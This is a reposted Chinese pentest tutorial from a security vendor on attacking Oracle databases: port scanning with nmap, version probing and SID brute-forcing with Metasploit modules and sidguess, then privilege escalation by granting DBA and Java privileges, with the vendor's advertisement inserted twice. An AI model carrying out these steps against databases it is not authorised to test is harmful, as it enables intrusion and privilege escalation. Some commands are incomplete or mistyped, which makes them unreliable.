一、数据库端口的安全扫描
首先检测数据库端口的的开放使用namp命令来对目标数据库IP进行端口扫描,命令
如下:nmap -Pn -n -T4 --open -p1521
二、数据库的版本相关信息
再来检查下数据库的版本信息,得到一个存活的oracle数据库服务端口,了解数据库的版本信息非
常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞,需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。Sine安全公司是一家专注于:
服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
利用msf工具进行判断,使用如下模块来对数据库进行版本探测:
msf > use auxiliary/scanner/oracle/tnslsnr_version
使用tnscmd10g工具,命令如下:
tnscmd10g version -h
tnscmd10g status -h
通过以上两种方法,以及命令可以得到版本信息、日志文件、跟踪信息以及端口相关的安全渗透信息。
三、获取数据库的SID安全值
再来获取数据库的SID值,连接oracle数据库不仅仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:
使用sidguess,sidguess是kali下的一款爆破Oracle SID的工具,命令如下:
sidguess -i
msf下有两个模块可以完成这个操作,命令如下:
msf > use auxiliary/scanner/oracle/sid_enum
msf > use auxiliary/admin/oracle/sid_brute
如果oracle的版本为10g,默认通过8080端口,远程管理的可以访问以下路径:
http://127.0.0.1:8080/oradb/PUBLIC/GLOBAL_NAME
四、数据库提权
使用sql命令提权,在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:Sine安全公司是一家专注于:服务器安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。
msf > use auxiliary/admin/oracle/sql
set DBUSER
set DBPASS
set SID
set SQL select * from user_role_privs
msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor
set DBUSER
set DBPASS
set SID
set SQL GRANT DBA TO
set SQL GRANT JAVASYSPRIV TO
查询数据库版本:
select * from v$version;
数据库打补丁情况:
select * from dba_registry_history;
查看所有用户:
select * from all_users;
查询数据库中的所有表:
select owner,table_name from all_tables;
本文转载自-https://www.sinesafe.com/article/20171024/oracle.html